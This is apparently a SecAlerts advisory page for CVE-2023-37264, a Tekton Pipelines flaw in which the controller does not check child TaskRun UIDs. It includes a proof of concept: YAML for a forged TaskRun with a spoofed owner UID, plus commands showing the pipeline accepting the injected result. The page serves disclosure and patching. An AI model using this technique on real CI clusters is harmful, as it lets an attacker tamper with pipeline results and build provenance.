CWE
345
Advisory Published
Advisory Published
Updated

CVE-2023-37264: Pipelines do not validate child UIDs

First published: Fri Jul 07 2023(Updated: )

### Summary Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task. We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID. ### Details While we [store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) . This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements. I believe this is also true for [TaskRuns -> Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven't tested this. If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?) ### PoC ```yaml apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1) kind: PipelineRun metadata: name: hello-pr spec: pipelineSpec: tasks: - name: task1 taskSpec: steps: - name: echo image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base) script: | sleep 60 - name: task2 runAfter: [task1] taskSpec: steps: - name: echo image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base) script: | echo "asdf" > $(results.foo.path) results: - name: foo results: - name: foo value: $(tasks.task2.results.foo) ``` Once this is running, grab the PR UID: ```sh $ k get pr hello-pr -o json | jq .metadata.uid -r ``` While pipeline is running task 1, start fake task 2: ```yaml apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1) kind: TaskRun metadata: annotations: labels: [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2 name: hello-pr-task2 namespace: default ownerReferences: - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1) blockOwnerDeletion: true controller: true kind: PipelineRun name: hello-pr uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step spec: serviceAccountName: default taskSpec: results: - name: foo type: string steps: - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base) name: echo resources: {} script: | echo "zxcv" > $(results.foo.path) ``` Get pipeline results - it shows the output of the 2nd injected TaskRun ``` $ k get pr -o json hello-pr | jq .status.pipelineResults [ { "name": "foo", "value": "zxcv\n" } ] ``` ### Impact This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. **If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities**. Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
Linuxfoundation Tekton Pipelines>=0.35.0
go/github.com/tektoncd/pipeline>=0.35.0<=0.52.0

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is CVE-2023-37264?

    CVE-2023-37264 is a vulnerability in the Tekton Pipelines project where pipelines do not validate child UIDs, allowing a user to create their own tasks that the Pipelines controller will accept as child tasks.

  • What is the severity of CVE-2023-37264?

    The severity of CVE-2023-37264 is medium with a severity value of 4.3.

  • How does CVE-2023-37264 affect the Tekton Pipelines project?

    CVE-2023-37264 affects the Tekton Pipelines project starting from version 0.35.0.

  • How can I fix CVE-2023-37264?

    To fix CVE-2023-37264, upgrade to a version of the Tekton Pipelines project that includes the fix.

  • Where can I find more information about CVE-2023-37264?

    You can find more information about CVE-2023-37264 at the following references: [link1], [link2], [link3].

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203